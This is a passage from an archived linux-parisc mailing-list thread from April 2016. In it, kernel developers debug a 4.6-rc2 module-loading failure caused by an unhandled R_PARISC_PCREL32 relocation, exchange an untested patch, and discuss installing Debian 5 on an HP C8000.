The patch "parisc: Use generic extable search and sort routines" makes the 
kernel unable to load any modules. It fails with:

module unix: Unknown relocation: 9
modprobe: FATAL: Error inserting unix (/lib/modules/4.6.0-rc2/kernel/net/unix/unix.ko): Invalid module format

When I revert the patch, the kernel 4.6-rc2 boots fine.

Apparently, the function apply_relocate_add in arch/parisc/kernel/module.c 
doesn't handle the new relocation type.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel 4.6-rc unbootable due to module changes
Date: Tue, 5 Apr 2016 13:36:21 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1604051332280.25453@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1459877793 9335 80.91.229.3 (5 Apr 2016 17:36:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Apr 2016 17:36:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 05 19:36:27 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anUtt-0000GY-8h
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Apr 2016 19:36:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751381AbcDERgX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Apr 2016 13:36:23 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:41869 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750946AbcDERgX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Apr 2016 13:36:23 -0400
Original-Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id 630B2B282B;
	Tue,  5 Apr 2016 17:36:22 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u35HaLqP021820
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 5 Apr 2016 13:36:22 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u35HaLve032242;
	Tue, 5 Apr 2016 13:36:21 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u35HaLxt032234;
	Tue, 5 Apr 2016 13:36:21 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26584
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26584>



On Tue, 5 Apr 2016, Mikulas Patocka wrote:

> Hi
> 
> The patch "parisc: Use generic extable search and sort routines" makes the 
> kernel unable to load any modules. It fails with:
> 
> module unix: Unknown relocation: 9
> modprobe: FATAL: Error inserting unix (/lib/modules/4.6.0-rc2/kernel/net/unix/unix.ko): Invalid module format
> 
> When I revert the patch, the kernel 4.6-rc2 boots fine.
> 
> Apparently, the function apply_relocate_add in arch/parisc/kernel/module.c 
> doesn't handle the new relocation type.
> 
> Mikulas

BTW. I'm using hppa64 binutils 2.21 to build the kernel. It generates the 
R_PARISC_PCREL32 relocation that the kernel module loader doesn't handle:

RELOCATION RECORDS FOR [__ex_table]:
OFFSET           TYPE              VALUE
0000000000000000 R_PARISC_PCREL32  .text.unix_ioctl+0x0000000000000064
0000000000000004 R_PARISC_PCREL32  fixup_put_user_skip_1+0x0000000000000008
0000000000000008 R_PARISC_PCREL32  .text.unix_ioctl+0x00000000000000a8
000000000000000c R_PARISC_PCREL32  fixup_put_user_skip_1+0x0000000000000008
0000000000000010 R_PARISC_PCREL32  .text.unix_ioctl+0x00000000000000b4
0000000000000014 R_PARISC_PCREL32  fixup_put_user_skip_1+0x0000000000000008
0000000000000018 R_PARISC_PCREL32  .text.unix_ioctl+0x00000000000000c0
000000000000001c R_PARISC_PCREL32  fixup_put_user_skip_1+0x0000000000000008

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic on 4 cores hp c8000
Date: Tue, 5 Apr 2016 14:54:06 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1604051448230.28402@file01.intranet.prod.int.rdu2.redhat.com>
References: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com> <56FD5C30.4020409@gmx.de> <CACrbsaD4S7mPZcLT79FHU=fR+ecD6qaDyk1enHZ4zwG6y53MiA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1459882453 20565 80.91.229.3 (5 Apr 2016 18:54:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Apr 2016 18:54:13 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 05 20:54:12 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anW78-0006X0-G5
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Apr 2016 20:54:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751230AbcDESyK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Apr 2016 14:54:10 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:33901 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751070AbcDESyJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Apr 2016 14:54:09 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id A701BD3C2F;
	Tue,  5 Apr 2016 18:54:07 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u35Is7Ul024486
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 5 Apr 2016 14:54:07 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u35Is6kl010515;
	Tue, 5 Apr 2016 14:54:06 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u35Is6qt010505;
	Tue, 5 Apr 2016 14:54:06 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <CACrbsaD4S7mPZcLT79FHU=fR+ecD6qaDyk1enHZ4zwG6y53MiA@mail.gmail.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.38]); Tue, 05 Apr 2016 18:54:07 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26585
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26585>



On Thu, 31 Mar 2016, Simone Mannori wrote:

> > I think Debian 5 will not even install on the C8000..
> >
> 
> Correct: the boot DVD hang after a while.

I installed Debian 5 on the C8000 (using tftp netboot, not DVD) some times 
ago.

It required PCI serial card (because the Debian 5 kernel doesn't recognize 
the built-in serial ports) and PCI network card (the Debian 5 kernel can't 
handle the built-in E1000 network card due to non-standard checksum in the 
EEPROM).

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel 4.6-rc unbootable due to module changes
Date: Tue, 5 Apr 2016 20:54:18 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <570409DA.1060508@gmx.de>
References: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604051332280.25453@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------020504010304000507010802"
X-Trace: ger.gmane.org 1459882480 21070 80.91.229.3 (5 Apr 2016 18:54:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Apr 2016 18:54:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 05 20:54:30 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anW7R-0006X0-AC
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Apr 2016 20:54:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751291AbcDESy3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Apr 2016 14:54:29 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:57087 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751070AbcDESy2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Apr 2016 14:54:28 -0400
Original-Received: from [192.168.20.60] ([92.203.49.252]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0LvEZe-1bnuBC1Y9q-010P65; Tue, 05 Apr 2016 20:54:20
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <alpine.LRH.2.02.1604051332280.25453@file01.intranet.prod.int.rdu2.redhat.com>
X-Provags-ID: V03:K0:z0qmb4J3zg67hfnHPobRm/ql027UXzmUvF51oKI9zhPdT7GGuwx
 eTl94o2/VVtzaReHhwWZPbF0fB6NHg5VjHcE8+WhJ4wI79Kr8+I1zXXFHgAPxUV9v7iBy3G
 j5CVwBz9tmn0mMiOHkxDO0GEe8VFsOjtSHfEsb/LwPH0rY/1j51mXyO0n4qGTltW1yF32fa
 byB7BEIwx+6sSuvisKGyQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:nEdBTzXuVOc=:SklIcWzAuBeAlGXiUjHEj0
 XSOJrOk7SR2BJvUG0/le7tGsGOdO/bXgtMefQtC+R0BH65y1zWBaFjyiXizKbyuqnnVa3ZPE8
 zwsPK1V8nNrK5bxTsPULuK71ScXXBbe9iX9oy50lpg/Oe/n4v16NxhbqAR6/ONLH0HJZiHduE
 3HBHeBW4RmJoBUfC4mB6M5UlzDCQ9qti/QVL/otni2yro2AX30QUujV+CVqWTQc67WNrX6YS2
 i9+qrfAtc+cLQRJS3Jo3xCVv0pgMLeMTCjL1h6kUw+2366yrgtUjNP9vfSn9eAE8U2Kxspd/3
 VC5h75woMOZyak6tLga/NYYLWAmPQFW8LrI74PsqotjUilSWK8uCyE1F5HMT6uS0BpYMIKmKg
 rdTslFgvohbPtt9R2hxy+GuzsFPzCnK1DslJqpLO2KkBMFhLT/PNVorEJPp284E0RzNqgHAJt
 34gByB3BTjP4dEuGkBDpHKxxvuhCiwj3Yx2n5LtN7O7+FdIdq1myG8+5+ExZHqkq/7V75Pf9r
 iwiFwFG+pgd/f7Q0nwCZZM881riSrfUNhm5dgWlujvG2/xOtwK86p0H8hqBFpkw8Ab4EhGAQm
 BX8iusGewSoVR/88shXLifLGEZuov9OHxtrKZ37fz1boI7oGEN8RqvkAZr8hDkKPTSbu6Nc8s
 Zc91WHyvGmuveXDp9Nb8KCdQeTPhQ2ka2Ot6N5XQqUdlr3fmbupfVT8E9Bem6p/PAVl1mJa6Z
 ag3PdpyFHA7xRGTFKq8/pFbdyNJroGLIvDNDUHs0jnAHC0GOSObO9YPqByc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26586
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26586>

This is a multi-part message in MIME format.
--------------020504010304000507010802
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit

On 05.04.2016 19:36, Mikulas Patocka wrote:
> On Tue, 5 Apr 2016, Mikulas Patocka wrote:
> 
>> Hi
>>
>> The patch "parisc: Use generic extable search and sort routines" makes the 
>> kernel unable to load any modules. It fails with:
>>
>> module unix: Unknown relocation: 9
>> modprobe: FATAL: Error inserting unix (/lib/modules/4.6.0-rc2/kernel/net/unix/unix.ko): Invalid module format
>>
>> When I revert the patch, the kernel 4.6-rc2 boots fine.
>>
>> Apparently, the function apply_relocate_add in arch/parisc/kernel/module.c 
>> doesn't handle the new relocation type.
>>
>> Mikulas
> 
> BTW. I'm using hppa64 binutils 2.21 to build the kernel. It generates the 
> R_PARISC_PCREL32 relocation that the kernel module loader doesn't handle:


Can you try attached patch (untested) ?

Helge

 
> RELOCATION RECORDS FOR [__ex_table]:
> OFFSET           TYPE              VALUE
> 0000000000000000 R_PARISC_PCREL32  .text.unix_ioctl+0x0000000000000064
> 0000000000000004 R_PARISC_PCREL32  fixup_put_user_skip_1+0x0000000000000008
> 0000000000000008 R_PARISC_PCREL32  .text.unix_ioctl+0x00000000000000a8
> 000000000000000c R_PARISC_PCREL32  fixup_put_user_skip_1+0x0000000000000008
> 0000000000000010 R_PARISC_PCREL32  .text.unix_ioctl+0x00000000000000b4
> 0000000000000014 R_PARISC_PCREL32  fixup_put_user_skip_1+0x0000000000000008
> 0000000000000018 R_PARISC_PCREL32  .text.unix_ioctl+0x00000000000000c0
> 000000000000001c R_PARISC_PCREL32  fixup_put_user_skip_1+0x0000000000000008


--------------020504010304000507010802
Content-Type: text/x-diff;
 name="module.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="module.patch"

diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index b9d75d9..f3bfd6a 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -660,6 +660,10 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			}
 			*loc = (*loc & ~0x3ff1ffd) | reassemble_22(val);
 			break;
+		case R_PARISC_PCREL32:
+			val -= (uint32_t) loc;
+			*loc = val;
+			break;
 
 		default:
 			printk(KERN_ERR "module %s: Unknown relocation: %u\n",

--------------020504010304000507010802--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic on 4 cores hp c8000
Date: Tue, 5 Apr 2016 20:57:25 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <57040A95.2040509@gmx.de>
References: <CACrbsaA0fw4KeKkcO5zZ50yMLsoysqJE6+ShfejCxDG9Zhns1Q@mail.gmail.com>
 <56FD5C30.4020409@gmx.de>
 <CACrbsaD4S7mPZcLT79FHU=fR+ecD6qaDyk1enHZ4zwG6y53MiA@mail.gmail.com>
 <alpine.LRH.2.02.1604051448230.28402@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459882668 24282 80.91.229.3 (5 Apr 2016 18:57:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Apr 2016 18:57:48 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Mikulas Patocka <mpatocka@redhat.com>,
	Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 05 20:57:39 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anWAV-0001OT-C9
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Apr 2016 20:57:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757769AbcDES5h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Apr 2016 14:57:37 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:56137 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757451AbcDES5g (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Apr 2016 14:57:36 -0400
Original-Received: from [192.168.20.60] ([92.203.49.252]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0LhSfM-1ba6St2XLc-00mbMR; Tue, 05 Apr 2016 20:57:27
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <alpine.LRH.2.02.1604051448230.28402@file01.intranet.prod.int.rdu2.redhat.com>
X-Provags-ID: V03:K0:HHw75peE8cHGKESpBR5NV8cJGqZisKOjlVc42VSrQ0mEinFYc4j
 qIIEdWtBQTYyIpk/99OWB/B/UOQE5EzAZGEpqB0YG8dQ/WSQHwL0mjZrYej8XSBptvja5bG
 q7TwBLoERxVyvWmmx+4FNPirO73/6mNoMjUYe6swmcTuDl9vMF4I9UrnEiGRQGM+9wJAV7y
 gvrGFnIzndW1rl+14+hjg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:w9mhAlZhE88=:8YfI0NvFRYD5UalhMVPTJR
 agffEkE2GO/mypDOiKsuPJKMcojUi4tQhDIIltY50n2H/HaQ+F6oIf8zqpV+UMhFAZvOTyTq0
 jZ1h72reQZ13L9H9H4ckr5g1tMkbTtF3PnRdJSHcjdOzuifZEfQJvYTBNLs2Sf+khmW3R1rVS
 eJFI2b3jvr/lBSMSmYxZaR6q+eprlKY1W0ITjKO8RDfF4+VUWr0K/GwAEe6f8YMsy+4YsmGMR
 tpFbvzIlYTO4J+ZAAzuJuLDQoS7jFjnk6Df2Rnxbqy7lyXY80h3/YElpYFvA2NkpX1elVyK0f
 ZGSwOIm6OI7MhTCLJMO04SBhc9oabrl9jOJp6lvDf7w9mPVzUB1m+85q+bLEHMb7gvTTDg/XK
 wR4hF7f6I7qfv2QxQhPEB6xxMZRxCkdBLixJJJmwWehmVZHc0+eUhhLF0tBBoa8seNeJqq5qa
 mCRQWjHstZFvhYHvouRS3xysPzlTZ0tY3u2p9U1lA15PenL2dRDb7N5uzacw3YSUTlJM0lY5C
 b+YA/YH9FbhzHyHVITKMFtY7qoTtsGBRIA03W5acq2+BR5IEyNLIC3Ipblgt1sbaYIBxKD4Kk
 EbowEcKZ60auDA80YykCcumoghFZ9I0aLO8sUfINv8r7E5b7KuqioCobRqCJaeV2DgrcZeeIM
 HiFxd+JrNwc6qjfVIq7Y1YNKvtV3+kpKfGpEGPgq4v9UgtnHgUANP3glTGE7maPAiyedAFFOy
 oq1Pwkf4LLI0Uo7PABQAvQF6pYXR9GIVwhEAa4OUedVd5D8KsGJxm0jHzxw/2+yOkkzN+hIN 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26587
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26587>

On 05.04.2016 20:54, Mikulas Patocka wrote:
> On Thu, 31 Mar 2016, Simone Mannori wrote:
>>> I think Debian 5 will not even install on the C8000..
>>
>> Correct: the boot DVD hang after a while.
> 
> I installed Debian 5 on the C8000 (using tftp netboot, not DVD) some times 
> ago.
> 
> It required PCI serial card (because the Debian 5 kernel doesn't recognize 
> the built-in serial ports) and PCI network card (the Debian 5 kernel can't 
> handle the built-in E1000 network card due to non-standard checksum in the 
> EEPROM).

... and the debian 5 kernel was most likely *very* unstable on that machine ? :-)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel 4.6-rc unbootable due to module changes
Date: Tue, 5 Apr 2016 16:15:36 -0400 (EDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1604051612310.32758@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com> <alpine.LRH.2.02.1604051332280.25453@file01.intranet.prod.int.rdu2.redhat.com> <570409DA.1060508@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1459887348 32350 80.91.229.3 (5 Apr 2016 20:15:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Apr 2016 20:15:48 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 05 22:15:48 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anXO7-0001NR-Rx
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Apr 2016 22:15:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752757AbcDEUPk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Apr 2016 16:15:40 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:33625 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759954AbcDEUPi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Apr 2016 16:15:38 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id BBEF912B23;
	Tue,  5 Apr 2016 20:15:37 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u35KFa9R027100
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 5 Apr 2016 16:15:37 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u35KFaRo006458;
	Tue, 5 Apr 2016 16:15:36 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u35KFasF006449;
	Tue, 5 Apr 2016 16:15:36 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <570409DA.1060508@gmx.de>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26588
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26588>



On Tue, 5 Apr 2016, Helge Deller wrote:

> On 05.04.2016 19:36, Mikulas Patocka wrote:
> > On Tue, 5 Apr 2016, Mikulas Patocka wrote:
> > 
> >> Hi
> >>
> >> The patch "parisc: Use generic extable search and sort routines" makes the 
> >> kernel unable to load any modules. It fails with:
> >>
> >> module unix: Unknown relocation: 9
> >> modprobe: FATAL: Error inserting unix (/lib/modules/4.6.0-rc2/kernel/net/unix/unix.ko): Invalid module format
> >>
> >> When I revert the patch, the kernel 4.6-rc2 boots fine.
> >>
> >> Apparently, the function apply_relocate_add in arch/parisc/kernel/module.c 
> >> doesn't handle the new relocation type.
> >>
> >> Mikulas
> > 
> > BTW. I'm using hppa64 binutils 2.21 to build the kernel. It generates the 
> > R_PARISC_PCREL32 relocation that the kernel module loader doesn't handle:
> 
> 
> Can you try attached patch (untested) ?
> 
> Helge

I tried a similar patch, the system booted fine ... but then I discovered 
that the system boots fine no matter what value is written to *loc.

Apparently, none of the modules trigger any exceptions in my 
configuration.

I'll have to create a test module that triggers some exception.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
